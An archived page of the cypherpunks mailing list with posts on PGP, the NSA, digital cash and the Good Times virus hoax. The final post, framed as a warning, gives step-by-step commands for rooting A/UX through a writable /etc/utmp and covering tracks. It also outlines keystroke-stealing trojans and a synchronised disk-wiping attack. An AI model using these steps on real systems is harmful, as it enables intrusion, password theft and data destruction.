December 2003 - cypherpunks-legacy

Book Review pointer...
by michael shiplett 17 Dec '03

17 Dec '03

sci.crypt contains a book review of _The Hobbyist's Guide to COMINT Collection and Analysis_, written and published by Tom Roach. Sounds like it may be interest to some folks here. michael

1 0

Re: Good times virus thing-a-ma-bobber
by Just call me Flame-bait 17 Dec '03

17 Dec '03

Jon Care (iijon(a)iiit.swan.ac.uk) is believed to have said: >Was this a real message, or is someone having us on? I mean, come on, who >seriously describes themselves as "MacGuru" AND puts in their anonymous >email address as well :) > >Not very anonymous now is it? I'm sorry, I didn't know that I wasn't allowed to have fun _and_ be on this list. The MacGuru was picked up here on campus, and since I rarley send mail off campus, I usually forget to turn it off. As far as having the anon address in my sig, L. McCarthy <lmccarth(a)ducie.cs.umass.edu> said: >I think the idea is that email sent to an anXXXXX(a)anon.penet.fi address will >be anonymized by the penet server, so you can establish a conversation >channel with MacGuru here without setting up a reply block through some >remailers. In some newsgroups where anonymous posting is common, listing of >several "anonymous" email addresses in .sigs is also common. I did this for the exact same reason. If someone wants to mail me anonymously, they have the option to just mail my anon account. What's so wrong with that?? >The message itself reeks of the typical chain letter-- oh please send >this to absolutely everyone you know with email! It'll help them lots! > >Yeah, whatever. Someone (I'm not sure who) brought up the point that the file could actually be an ANSI bomb. It seems to me that for the IBM and clone users on the 'net, this could be something that they would want to watch out for. Now we all know that it wasn't real (and many of you just "knew" it wasn't), it doesn't matter, does it? -=-=-=- Adam J. Gerstein MacGuru to the stars Available at: GERSTEIN(a)SCSU.CTSTATEU.EDU MACGEEK(a)SCSU.CTSTATEU.EDU A GERSTEIN(a)AOL.COM MACGEEK(a)eWorld.com an41389(a)anon.penet.fi (for anonymity) -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

1 0

Re: (Fwd) Read this, Virus info!!
by Andrew Lowenstern 17 Dec '03

17 Dec '03

Michael K. Sanders writes: > Has anyone actually seen this 'Good Times' thing? I highly doubt > it. And seriously, an e-mail virus? Get real. and Ian Farquhar writes: > And pigs fly too. Laugh if you want, but this has been possible for years under NeXTSTEP. With it's Display PostScript system and rich text mail reader, it's easy to send a PostScript trojan horse via e-mail. As soon as the message is read, the Mail app tries to display the text and any images inside, which is probably what it should do. However, because EPS images are really just PostScript code, you can do write a PostScript program that does all sorts of nasty things, which includes reading and writing files, stick an EPS header on it, and drop it into a mail message. The recipient's mail reader will cheerfully run the received EPS image through the PS interpreter... All of the EPS trojan horses I have seen do cute, but harmless, things like melt your screen, make windows fly around, rearrange your dock, or display animation before returning things to normal, but they could just as easily erase your home directory or just about anything else. After this major security hole became public knowledge, NeXT provided for 'secure' postscript contexts (safe-DPS if you will) where some of the nastier postscript operators were disabled. Anyway, it's more than possible, even when the designers didn't originally bargain for any type of 'enabled mail.' And with the proliferation of Display PostScript based X servers and MIME mail tools, and other more advanced mail systems on other platforms, we will probably see much more of this type of thing. andrew

3 2

re: GUCAPI
by p.v.mcmahon.rea0803＠oasis.icl.co.uk 17 Dec '03

17 Dec '03

A few comments on GUCAPI postings follow. 1. It has been suggested that GSS-API is appropriate for layering over PGP security functions, but this is incorrect, as GSS-API is inappropriate for store-and-forward applications (and associated security mechanisms), and hence isn't suitable for all applications which have security requirements. 2. The application level interfaces for messaging applications must include object protection semantics. One proposal being considered for this is available by ftp as draft-ietf-cat-iop-gss-00.txt from ds.internic.net in /internet-drafts. There is a BOF on this today at the IETF which other CP IETF correspondent(s) may want to report on. 3. A distinction can and should be made between the higher level interfaces which combine information protection and authentication, and the lower level interfaces to cryptographic transforms and key exchanges which aren't bundled with any trust model or certification infrastructure. 4. The lower level cryptographic interfaces (CAPIs) are the subject of numerous proposals. A few of these were listed in the note I sent to the list yesterday about the recent NIST meeting. One proposal being developed by major vendors (IBM, HP, Sun etc) and to be trialled in practical implementations is available from X/Open, together with an associated email discussion list. Mail me if you want to be part of the review process, or just track developments in this area. (This is intended to be a net standard and an industry standard :-). - pvm

2 1

PGP 2.6.2
by Tony.Gurnick＠nzdairy.co.nz 17 Dec '03

17 Dec '03

I`m looking for an ftp site for pgp 2.6.2 or greater outside of the us. Ive tried ftp.dsi.unimi.it but they only have 2.6.1. Any IDEA? (joke) T

2 1

2048 bit key generation with 2.6.2
by jltocher＠CCGATE.HAC.COM 17 Dec '03

17 Dec '03

I changed my system date (Ho! Ho! Ho!) in order to test the generation of 2048 bit keys. Key view shows the key as having 2047 bits. Can someone tell me what's goin' on? Please reply by E-Mail; I'm currently not on the list because of the volume. Regards, John ______________________________________________________________________________ John L. Tocher THE CITY-a bounded infinity. A labyrinth where JLTocher(a)CCgate.HAC.com you are never lost. Your private map where every PGP Fingerprint: block bears exactly the same number. Even if you CE 72 1A 11 07 47 35 35 lose your way, you cannot go wrong. --Kobo Abe 9A C1 DE EA 64 21 BC 94 "The Ruined Map" ============================================================================== To get my PGP key send mail with subject "Get Key" ==============================================================================

1 0

Warning about a message I may have sent
by tcmay＠netcom.com 17 Dec '03

17 Dec '03

I may have accidentally sent a message to the list that I was intending to send just to myself, from my offline mailer Eudora (as opposed to elm, which I'm now on). As usual during any time Netcom is crowded, it is apparently not accepting connections from toad.com, and so I am not seeing traffic sent to the list (No, I don't need any of you to offer to send it to me...it'll arrive when toad retries the connection some hours from now and Netcom deigns to accept it. A run-of-the--mill mistaken message would not be an issue, but this a BIGGIE, a 43K file of a paper I just completed that I was planning to offer as an attachment to a mail message. So, I was testing the whole thing. But I may've typed in the list name instead of mine. Oh well. If it arrives, it's the text only version of a paper submitted to the "Imagina 95" conference to be held in February in Monte Carlo. I guess random posts to the list are the Monte Carlo method in action. --Tim May -- .......................................................................... Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay(a)netcom.com | anonymous networks, digital pseudonyms, zero 408-688-5409 | knowledge, reputations, information markets, W.A.S.T.E.: Aptos, CA | black markets, collapse of governments. Higher Power: 2^859433 | Public Key: PGP and MailSafe available. Cypherpunks list: majordomo(a)toad.com with body message of only: subscribe cypherpunks. FAQ available at ftp.netcom.com in pub/tcmay

1 0

Re: Warning about a message I may have sent
by dmandl＠bear.com 17 Dec '03

17 Dec '03

> From: <tcmay(a)netcom.com> > > I may have accidentally sent a message to the list that I was > intending to send just to myself, from my offline mailer Eudora (as > opposed to elm, which I'm now on). [...] > If it arrives, it's the text only version of a paper submitted to the > "Imagina 95" conference to be held in February in Monte Carlo. Sorry, Tim, but if it's not digitally signed by you with a valid key, that baby's up for grabs. Monte Carlo here I come... --Dave.

1 0

Pr0duct Cypher: PGPtools.
by loki＠nately.UCSD.EDU 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- The error you mentioned is not my problem. I got the fix when I got PGPTools. I would really like you to look at the code I am using. Do you still have access to a Linux box? This communication with you using public groups and lists is a waste of bandwidth, and very slow. Could you send me an anonymous reply block? It is going to take forever for you to guess what my problem is without being able to look at the code directly, and I do not want to post the whole thing to cypherpunks. - ---------------------------------------------------------- Lance Cottrell who does not speak for CASS/UCSD loki(a)nately.ucsd.edu PGP 2.6 key available by finger or server. "Love is a snowmobile racing across the tundra. Suddenly it flips over, pinning you underneath. At night the ice weasels come." --Nietzsche - ---------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBLuY51FVkk3dax7hlAQEd3gP+NnOcGoscIITPTHUQNztkSrYksjt3F9Qp WAuaelTX7UkkjvBjlLwyR2rASx0vXaGxsBmoAgWlyM1Z+87hqBK1EoCLFzN+Zt5b Vjx/GWsKo4QMro2DD8t7ppKKDUdcgK/7EgaaWGhKOXkmO5awf4IzxHIebeoqz/f6 UPwe3rnCVbY= =N8QE -----END PGP SIGNATURE-----

1 0

Re: Breaking the NSA
by merriman＠metronet.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- > >Frenchie Wrote > > Not that easy. They would just crack the code and *another* > acronym based agency would come up with a different reason to > seize you and your computer. It would seem unrelated to anyone > but *you* since you would know what you did but would have no > way to prove that your original infraction is why you are doin' > time. Hope that makes some sense. > >Maybe. What if the only way to do this was illegal? Since when has that really stopped them? Or even slowed them down noticeably? > > > If it isn't something *really good* they probably wouldn't come after > you anyway. > >Whats the definition of GOOD? How about.... the Skipjack algorithm :-) > > #3 I can agree with. I don't think that NSA would tip their hand > and let on to us that they can read our stuff. At least not directly. > >We may as well find out. Knock yourself out. I got no desire to be Bubba's love toy..... > > One more thing. Don't you think that they subscribe to the Cypherpunk > list just to see this kind of logic? > > >Maybe But isnt freedom of speech what this list is about and what your >constitution does! Granted that's what the U.S. Constitution _started out_ as - no telling where things will end :-( > > > > BTW....I ain't one of 'em and I wouldn't tell if I was. :) > >Prove it Ri-i-i-i-i-ght! -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBLuajTMVrTvyYOzAZAQF0bQP/YwIGyIsAEjZnyT1lIRSR25YUnTvT48cP vd9uDh/NYOHSrWtADj32bBQlenmQIF791P/VTZqjd1oxNgEzwLF8gZ4OgIUt6UQm URUapx0uUVRNQqD1SrNMH2RCJyh+pjJZryGif1AnJMqTUvlqvZDrHxCeDQ3qunah ZXIOGZvC+6w= =GtzR -----END PGP SIGNATURE----- - - - - - - - - - - - - - - - - - - - - - - - - - - Finger merriman(a)fohnix.metronet.com for PGP public key and fingerprint. PGP encrypted Email welcome, encouraged, and preferred. "Those who make peaceful revolution impossible will make violent revolution inevitable." John F. Kennedy

1 0

Re: Breaking the NSA
by VAMAGUS＠delphi.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- Tony.Gurnick(a)nzdairy.co.nz wrote: >If you really want to test NSA. Encrypt some crypto code >with pgp in an overseas public key(IE: non-us) then email the >code to someone out of the us. This way you will find out 1 of 2 >things. > 1. That pgp is unbreakable by the NSA > - Rsa with fairly log keys take so much work the nsa > cant crack it with huge computers. This is a good > thing Not that easy. They would just crack the code and *another* acronym based agency would come up with a different reason to seize you and your computer. It would seem unrelated to anyone but *you* since you would know what you did but would have no way to prove that your original infraction is why you are doin' time. Hope that makes some sense. > > - Idea, even though it is new, is a secure algorithm > for the above reasons > Same argument...no one would ever know either way. Until you got out in about 100 years. > > - You wont get in trouble as you are only sending > random bits out of the country not code If it isn't something *really good* they probably wouldn't come after you anyway. > > 2. PGP is BREAKABLE by the NSA (OUCH!) > - You get in deep shit! > > > or > > 3. PGP is breakable by the NSA but they dont tell anyone! (HMMM) #3 I can agree with. I don't think that NSA would tip their hand and let on to us that they can read our stuff. At least, not directly. > > - Well this would be an interesting one! > > - Since they are the ones that imposed the ITAR rule in the > first place (them or the us gov) they have a prob! If > they knew you were exporting crypto because they cracked > pgp they could not convict you as that would imply they cracked > pgp and they would tell the whole world what they can & > cannot crack. It would be a big bummer for RSA and IDEA > but at least we`d know! One more thing. Don't you think that they subscribe to the Cypherpunk list just to see this kind of logic? BTW....I ain't one of 'em, and I wouldn't tell if I was. :) ***************************Frenchie Sends******************************* * PGP Public Keys: 1024/BEB3ED71 & 2047/D9E1F2E9 on request. * * As soon as any man says of the affairs of the state * * "What does it matter to me?" the state may be given up for lost. * * J.J.Rousseau - The Social Contract * * PGP info: email to mail-server(a)mit.edu with first line of message: * * send pub/usenet/alt.security.pgp/* * *****************************J. Francois******************************** -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBLuZF0LbmxeO+s+1xAQEGQwP+MjgH2uvJUXNAi8Cb1HMHZRTMjxAODSfr dfPS1SCbzCTzaQMSVCvfWS8hxfbnENGuDe3bhdhIJb0QzkuYWTmHFxpTydrTtJw+ U0OtB/O65JpNsisXEYF14FZ3hUBPqQ8NQ/TN4WV1dx6tROuWnoY1hYAOMM2pnZNY 0NBtz0MB1i0= =XpJK -----END PGP SIGNATURE-----

1 0

crypto email to France
by farr＠evtech.com 17 Dec '03

17 Dec '03

Hello - My company would like to be able to send encrypted mail to our office in Paris. Strictly inter-company stuff, using PGP for example. I know we can buy PGP here, and get it off the net in Europe, thereby avoiding exporting the technology in either direction... I've been told by someone here in the US that France wants control of any use of encryption software including sending email. I've also been told by someone in France that the agency in France is the Service Central de la Securite des Systemes d'Information (SCSSI), and that they want companies to register with them for use of cryptographic software. I've read what I can find on the net about legalities of using encryption software, and everything concerning Europe (what little there is) is quite vague. Does anyone here know any details or where I might find out more about what, if anything, needs to be done to legally exchange encrypted email with our office in Paris? Thanks very much! Best Regards, Rebecca Farr Evolutionary Technologies, Inc. Systems Administration Group 4301 Westbank Dr. Bldg. B, Suite 100 Austin, TX 778746 phone: 512-327-6994 x260 fax: 512-327-6117 email: farr(a)evtech.com

2 2

Bad PGP sig on 'Remailers and ##'
by Greg Broiles 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- To: cypherpunks(a)toad.com Earlier I wrote: > I'm not going to install remailer software that would allow this > because it'd make it even easier to post messages under someone > else's name. [...] but the PGP sig on the message was bad, apparently because nn stuck an extra X-To: line in the message. Ugh. Anyway, I said it, and meant to say it. Thanks to the c-punk who caught that & sent me mail. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBLuZLpX3YhjZY3fMNAQHJWAP+Mk6jSgxGl5zpFDblnUeEfa94YtDaCNxr j9EWgI2lQzSsEqO2e5JRohBmXlQGxs8aPiKl3wGsRAcYAO6kYV3xfTQOfDbifT+9 sFP5/1wgO7I4cM3EdDgVtM7bYHUR44QebN/ONQxdDWi2+ErVfWh/PPR1u9DR2+wd c0v7rIRuuZc= =OvHk -----END PGP SIGNATURE----- -- "The anchored mind screwed into me by the psycho- | Greg Broiles lubricious thrust of heaven is the one that thinks | greg(a)goldenbear.com every temptation, every desire, every inhibition." | -- Antonin Artaud | @!

1 0

Re: Breaking the NSA
by jrochkin＠cs.oberlin.edu 17 Dec '03

17 Dec '03

At 6:31 PM 12/07/94, DNA wrote: >If you really want to test NSA. Encrypt some crypto code >with pgp in an overseas public key(IE: non-us) then email the >code to someone out of the us. This way you will find out 1 of 2 >things. > 1. That pgp is unbreakable by the NSA > - Rsa with fairly log keys take so much work the nsa > cant crack it with huge computers. This is a good > thing Nah, no possible result would tell you this. Perhaps PGP is "breakable", in that it takes something like 30 seconds of their computer time to break, say. But even 30 seconds would probably be too much time to spend on _every_ single piece of email that crosses national borders.

1 0

Breaking the NSA
by Tony.Gurnick＠nzdairy.co.nz 17 Dec '03

17 Dec '03

Frenchie Wrote Not that easy. They would just crack the code and *another* acronym based agency would come up with a different reason to seize you and your computer. It would seem unrelated to anyone but *you* since you would know what you did but would have no way to prove that your original infraction is why you are doin' time. Hope that makes some sense. Maybe. What if the only way to do this was illegal? If it isn't something *really good* they probably wouldn't come after you anyway. Whats the definition of GOOD? #3 I can agree with. I don't think that NSA would tip their hand and let on to us that they can read our stuff. At least, not directly. We may as well find out. One more thing. Don't you think that they subscribe to the Cypherpunk list just to see this kind of logic? Maybe, But isnt freedom of speech what this list is about and what your constitution does! BTW....I ain't one of 'em, and I wouldn't tell if I was. :) Prove it T

1 0

Re: Breaking the NSA
by VAMAGUS＠delphi.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- Tony.Gurnick(a)nzdairy.co.nz wrote: >Frenchie Wrote > > Not that easy. They would just crack the code and *another* > acronym based agency would come up with a different reason to > seize you and your computer. It would seem unrelated to anyone > but *you* since you would know what you did but would have no > way to prove that your original infraction is why you are doin' > time. Hope that makes some sense. > >Maybe. What if the only way to do this was illegal? Then you would have to hope you never do anything illegal. Then no (pick your acronym) agency would be able to easily trump up a charge that could be used as an infiltration technique to get to your system *legally*. If they want to bad enuff I'm sure breaking the law to catch you doing something would be arranged. Violating National Interests maybe? > If it isn't something *really good* they probably wouldn't come after > you anyway. >Whats the definition of GOOD? PGP?...3xDES?....RC5?....plans for an A-Bomb with instructions for construction and location of available nuclear material?...pick one. > #3 I can agree with. I don't think that NSA would tip their hand > and let on to us that they can read our stuff. At least, not directly. >We may as well find out. Agreed, the problem is finding a way to be sure! A little misinformation has a habit of going a long way. > One more thing. Don't you think that they subscribe to the Cypherpunk > list just to see this kind of logic? >Maybe, But isnt freedom of speech what this list is about and what your >constitution does! Be careful...not everyone here is a U.S. resident or citizen. At least I don't think so. But since I am I know how precariously balanced the definition of free specch is. The Supreme Court in cahoots with law enforcement and lawmakers could change things pretty quick! Throw in a handy list of names......u know the rest. > BTW....I ain't one of 'em, and I wouldn't tell if I was. :) >Prove it [I see my smiley was disregarded] Proof you say! A classical dilemma: If I say I am (one of them) it implies gathering intelligence or a reason to sow suspicion even if I am not. Denial implies I am what I say I am not. So, even though I am not, it would be impossible to *convince* you of that. If I was I still couldn't produce *believable* evidence to support the statement. Take my advice: Don't Trust Nobody. ***************************Frenchie Sends******************************* * PGP Public Keys: 1024/BEB3ED71 & 2047/D9E1F2E9 on request. * * As soon as any man says of the affairs of the state * * "What does it matter to me?" the state may be given up for lost. * * J.J.Rousseau - The Social Contract * * PGP info: email to mail-server(a)mit.edu with first line of message: * * send pub/usenet/alt.security.pgp/* * *****************************J. Francois******************************** -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBLuZqibbmxeO+s+1xAQFLpwP7BiRyz2VD+gkBwE7F/yF99XPlYVjXYBsV wE6bJtGOQ94qojVYSlw/L2BXHwm271VqXgknKAxZbJUh/Y4497tnaRCVLx4Us91Z k/wrEWmnsB5uE2yNWcYuIMxMSRfrEhUAPNJUvl95+ryFm+7TC7kVKuPi/38+oKMS FCe0hmvbVDQ= =lt1q -----END PGP SIGNATURE----- Is there a reason *you* don't sign your messages? Hehehe.... :)

1 0

Re: (Fwd) Read this, Virus info!!
by alano＠teleport.com 17 Dec '03

17 Dec '03

>I have received two versions of this warning about "Good Times" >virus, this one from mail list Design-L and a similar one from >list Fiction-of-Philosophy. Some forwarded headers have been >removed from this version. > >Has anyone on c'punks got further info or comment? Yes. It is a hoax. (I will obtain the debunking message fron one of the virus echos if needed...) It was designed to prey on the gulibility of AOL users. (You cannot make a mail message that will virus your system just by READING it. AOL does not have support for nam-shubs.) | "Encryption ROT13s your mind." | alano(a)teleport.com | |"Would you rather be tortured by the government | Disclaimer: | |forces or the people's liberation army?" -mklprc | Ignore the man | | -- PGP 2.6.2 key available on request -- | behind the keyboard.|

1 0

Re: Good times virus (ANSI BOMB?)
by Claborne, Chris 17 Dec '03

17 Dec '03

Can't be too UNIX centric. With the advent of MS Mail and CC:Mail that have SMTP gateways, they automagically convert uuencoded files to attachments in the native format. That is, when you send me a message with a uuencoded file at the end, my mail gateway uudecodes and puts the attachemnt in my mail messas as a clickable icon. NOW, all you got to do is convince me to doubble click on this (virus exe) and bingo!, I'm dead. Question: Has anyone tried to infect or destroy an NT box with some known virus. NT's security model could prevent this (I.E. trying to write to a restricted file or stay resident...). But I'm not sure what is secured since almost all users use NT workstation as "Administrator". 2 -- C -- >--------------------------------------------------------------------------- --- >-----BEGIN PGP SIGNED MESSAGE----- > >>On Dec 7, 1:04am, ADAM GERSTEIN, _THE_ MACGURU wrote: >>> Need I remind you of a certain Robert T. Morris? Does the "Internet Worm" >>mean >>> anything to you? Sure, it wasn't actual email, but it did use email and >other >>> means of transport to cripple the net in a matter of hours. >> >>The Internet Worm used the sendmail DEBUG mode to execute commands on >>a remote system. It did not propogate itself via email messages, which was >>what the original (ridiculous) warning claimed. >> >>I can't feel a lot of sympathy for people who took this announcement >>seriously. Such stupidity reaps its own rewards. > >Although the concept of "text viruses" seems a bit far fetched to some >people, there these lovely toys known as ANSI bombs. Essentially they work >in a similar method to the some techniques used in the sendmail bug, but >they are MS-DOS specific, they will use embedded ANSI codes to run programs >as the files is viewed... anyone know what will happen if deltree /XXX >(where XXX represents an unpublished string of characters) is run from the >root directory of a DOS hard disk? Its gone, quickly. Sure the files can be >undeleted, but undeleting a whole disk is tricky business... > >Maybe Good Times is a hoax, but ANSI bombs exist and using a DOS ANSI text >viewer will surely be a foolish thing to do on any downloaded text file... > >If anyone feels the need for proof I collected a few a while back, but >really don't see the need to post them...heh heh. > > Adam Philipp > >PS: Please no comments about superiority of MACs or LINUX boxs because they >are immune to ANSI boms...that ought to be clear enough... > >- -- >PGP Key available on the keyservers. Encrypted E-mail welcome. > >SUB ROSA: Confidential, secret, not for publication. > -Black's Law Dictionary > >GJ/CS d H S:+ g? p? au+ a- w+ v++ c++ UL+ UU+ US+ P+ 3 E N++ k- W++ M-- V >po- Y++ t++ 5+ jx R G' tv+ b+++ D++ B--- E+++ u** h-- f++ r+ n+ y++-- > >- --- >[This message has been signed by an auto-signing service. A valid signature >means only that it has been received at the address corresponding to the >signature and forwarded.] > >-----BEGIN PGP SIGNATURE----- >Version: 2.6.2 >Comment: Gratis auto-signing service > >iQBFAwUBLuVnPSoZzwIn1bdtAQEjeAF+Pi65kg9SMBZ1bzO5gJBsumi5x2vJFgqC >o0hc3bMaqLYb5WY/jlaAtWURtzXzOUc6 >=/53s >-----END PGP SIGNATURE----- >

1 0

cut & choose
by Alex Strasheim 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- In Applied Cryptography, Schneier describes digital cash protocols that depend on the cut and choose method: Alice prepares 100 anonymous money orders for $100, sends them all to the bank, which opens all the envelopes except one picked at random. If the 99 envelopes checked have money orders for $100, then the bank is confident that the one they sign blindly will be for $100 as well. Chaum's system uses different keys for different denominations. Alice only sends one envelope, and the bank uses its $100 key to sign it. I don't understand why anyone would use the cut and choose protocol over denominated keys. Chaum's method seems a lot cleaner to me and more secure. It obviously uses less bandwidth. What am I missing here? == Alex Strasheim | finger astrashe(a)nyx.cs.du.edu alex(a)omaha.com | for my PGP 2.6.1. public key -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBLudoHxEpP7+baaPtAQFIiwQAsCc/TYI/cgJyGf6AtykBGgu+qJJ+peM6 /IYXnUzrIeFLx54nRjsUOUFYJs6Uu3vu6s2BRbd2/YIJVaY6/kP4HO0zuMhqFn2z 4eddRverUeH59IZgZ+4Va4/rgfn5hRdNSOgNinIyk0aRsa8ulR+cmJdUYqggHgd5 w2dxkAtDSGM= =fzJT -----END PGP SIGNATURE-----

3 2

DigiCash
by Paul Foley 17 Dec '03

17 Dec '03

Could someone explain the concept of "DigiCash" to me, or tell me where to get info from? Thanks.

2 1

Purdy & hickory
by Tony.Gurnick＠nzdairy.co.nz 17 Dec '03

17 Dec '03

Does anyone have any info on the PURDY & HICKORY hash algorithms that VMS uses in its authentication services! Thanks T

1 0

Breaking the NSA
by Tony.Gurnick＠nzdairy.co.nz 17 Dec '03

17 Dec '03

Frenchie wrote >Tony.Gurnick(a)nzdairy.co.nz wrote: > >>Frenchie Wrote >> >> Not that easy. They would just crack the code and *another* >> acronym based agency would come up with a different reason to >> seize you and your computer. It would seem unrelated to anyone >> but *you* since you would know what you did but would have no >> way to prove that your original infraction is why you are doin' >> time. Hope that makes some sense. >> >>Maybe. What if the only way to do this was illegal? > > Then you would have to hope you never do anything illegal. Then > no (pick your acronym) agency would be able to easily trump up > a charge that could be used as an infiltration technique to get > to your system *legally*. If they want to bad enuff I'm sure > breaking the law to catch you doing something would be arranged. > Violating National Interests maybe? > Um, you would still know pgp/rsa/idea has been broken??? >> If it isn't something *really good* they probably wouldn't come after >> you anyway. > >>Whats the definition of GOOD? > > PGP?...3xDES?....RC5?....plans for an A-Bomb with instructions for > construction and location of available nuclear material?...pick one. Yeah Thats pretty good >> #3 I can agree with. I don't think that NSA would tip their hand >> and let on to us that they can read our stuff. At least, not directly. > >>We may as well find out. > > Agreed, the problem is finding a way to be sure! A little > misinformation has a habit of going a long way. Huh? >> One more thing. Don't you think that they subscribe to the Cypherpunk >> list just to see this kind of logic? > >>Maybe, But isnt freedom of speech what this list is about and what your >>constitution does! > > > Be careful...not everyone here is a U.S. resident or citizen. > At least I don't think so. > But since I am I know how precariously balanced the definition > of free specch is. The Supreme Court in cahoots with law > enforcement and lawmakers could change things pretty quick! > Throw in a handy list of names......u know the rest. Well Im not one (a us cit i mean), but another way of putting what I said is Its like some private company invents a cipher and you break it And they get pissed at you for doing it. But you did them a favour really cause someone more unscrupulous than you wouldnt have told them. So the NSA should be glad, and encourage us to speak like this and I think we should continue along this track! Unless of course they wish to comment....? > BTW....I ain't one of 'em, and I wouldn't tell if I was. :) >>Prove it >[I see my smiley was disregarded] Sorry, I forgot my smile, I was quite busy yesterday and thought I could get a quick reply in. I bolloxed that up! Heres two )) >Proof you say! >A classical dilemma: > If I say I am (one of them) it implies gathering > intelligence or a reason to sow suspicion even if I am not. > Denial implies I am what I say I am not. > So, even though I am not, it would be impossible to *convince* > you of that. If I was I still couldn't produce *believable* > evidence to support the statement. > Take my advice: Don't Trust Nobody. Thats a good one >Is there a reason *you* don't sign your messages? Hehehe.... :) Cause I forgot...busy...chicken! T

1 0

How to Destroy the Internet (was Info about Linux)
by crawford＠scruznet.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- I write: > You don't need to have a firewall to tighten up the security on your > machine. Read this book if you're going to put a Unix box of any sort on > the Internet, or you might wake up some day to find someone's erased your > hard disk from the other side of the globe. > Matt Bartley <mbartley@I guess this is wrong.edu> writes > Is it that dangerous? I wonder how machines in college, which didn't > have firewall protection that I know of, survived. Then again, that > was close to 3 years ago - maybe things are worse now. Before I proceed, let me point out that the following procedure has been documented for more than five years. Some may regards it as irresponsible to publish this information, but I consider it a greater danger that many Unix machine owners fail to appreciate the seriousness of this problem. How to erase the hard disk of almost every Unix machine on the Internet: Apple's A/UX 2.0 was, at least initially, shipped with two well-known security holes, holes which had been documented for years in the CERT advisories. When I was the MacTCP test engineer at Apple, I beta tested A/UX, found these holes, and tried very hard to get Apple to close them before shipping the product, which was primarily meant as Apple's candidate for an $80 million Air Force contract. I found this pretty ironic, but when I griped about it at Apple - and I griped about it increasingly loudly as the ship date approached - all I got was sternly scolded. Apple's internal netadmins did invite to play "capture /flag" on their internal net Unix machines, which was fun. I never could break into /flag. Security hole #1: A/UX ships with the guest login enabled, with no password. Thus anyone can log in to any A/UX machine on the Internet. Security hole #2: A/UX was largely derived from SunOS, and shared a hole with older versions of SunOS. The /etc/utmp file is world writable. The reason this is done is so that shell windows in the MacOS process on A/UX, or under SunView on the Sun, can appear to be logged in terminals, I think mainly to allow "wall" to write messages to all the windows. This is a deadly error. If /etc/utmp is world writable, anyone who can log in, with a little practice, can become root and cover evidence of their login in about 30 seconds. This is done as follows: 0. Using HINFO records from the name service, and looking at the SMTP, FTP, and login banners of many machines on the Internet, collect the addresses of many A/UX machines. For each A/UX machine do 1 - 15: 1. On your local machine, running the window system of your choice, type in a no-password passwd file entry for root into a window. Leave the window open. 2. On your local machine, create a file in utmp format in which ../tmp/foo is the only logged in terminal. Copy it to the clipboard (this will be a binary file - you have to write a small C program to create it). 3. Log in as guest over the internet. 4. cat /etc/utmp | od -h 5 cp /etc/passwd /tmp/Ex12345 6. cat > /etc/utmp 7. Paste the contents of your clipboard into the terminal window and press control-D. Now you've made /dev/../tmp/foo the only terminal which appears to be logged in. 8. ln -s /etc/passwd /tmp/foo 9. rwall "root::0:0::/:/bin/sh". This message is broadcast to all logged in terminals, thus replacing the password file with your own. 10. su ... now you are root. Time to cover your tracks! 11. mv /tmp/Ex12345 /etc/passwd 12. Copy the hex dump that just scrolled by on your screen to the clipboard. Paste it into a program that you have written that converts it back into binary, removes all the guest login records from it, and places the result back on the clipboard. 13. cat > /etc/utmp ... paste into the terminal window and press ^D. 14. Relax. Take a break and look upon your handiwork. The only evidence of your connection is the existence of a couple of shell processes and a telnet or rlogin daemon. "who" or "users" will not show you; the machine's users will have to examine ps listings very carefully to see that you are logged in. 15. When you've sufficiently regained your composure, use ftp to fetch patched telnet and rlogin binaries from your machine. With telnet you could just set the debug flag to dribble all the user's keystrokes into a file, but it would have more finesse to send a UDP packet of the first few keystrokes of each session to a server you have somewhere on the internet. 16. Collect passwords to every machine that allows logins from the machine you have just hacked. If you get any root passwords, go to step 15. (be sure to collect enough keystrokes to catch any su's that are done after logging in as a regular use. If the passwords are to any other A/UX machines, or old SunOS machines, go to step 4. 17. After you have collected lots of root passwords, right a C program that will wait for a certain delay, then turn off all networking using ifconfig (to prevent the admin from getting in and stopping the damage), mmap the raw partitions of all the mounted hard disks, make sure that the whole program is sitting in physical ram, then write garbage into the mmap'ed memory blocks. Install this program on all your target machines, with the delay synchronized to each system's own clock so that the damage happens simultaneously worldwide. You will probably want to distribute installation programs to a few dozen of your hacked machines, and have them all install on the machines nearby, to prevent word from getting out before the installations are all complete. If you're lucky, you can get the passwords to some backbone routers and partition the internet to help prevent the spread of the warning. The reason your college's machines have not been hacked yet, is because there are many machines on the internet, and the hackers have not got around to it yet. Read Firewalls and Internet Security, by William R. Cheswick and Steven M. Bellovin, ISBN 0-201-63357-4, before this happens to you. Any machine that allows logins from your own machine will be compromised, if your machine is compromised. Every machine that allows logins from any machine that allows logins from you will then be compromised, and so on. If the security is not tightened up considerably on the hosts connected to the Internet, someone's going to do something like this and bring the whole thing down. The Morris Worm did a great deal of damage to the net, but did little in the way of monetary damage beyond wasted employee time. Something like this would do damage in the billions of dollars. Regards, Michael D. Crawford crawford(a)scruznet.com <- Please note change of address. crawford(a)maxwell.ucsc.edu <- Finger me here for PGP Public Key. -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAwUBLucy8aJTibhK6XY5AQFyYgQAgHD4jMeXAt9iQ4h266nyP8jQcSYGUzCZ mbXCHiDEjmPLCqrFvLJv+5QiCVvCKVvjVLJzoJ5id7f8YiJFZFLqxVeLlUj9ZqxM jSrETQYUEv81dypYAZkTnFuZMU+VuGUBBFjjTIMUcRo+CCvgfyA6Tb3Fhfz2qGIW 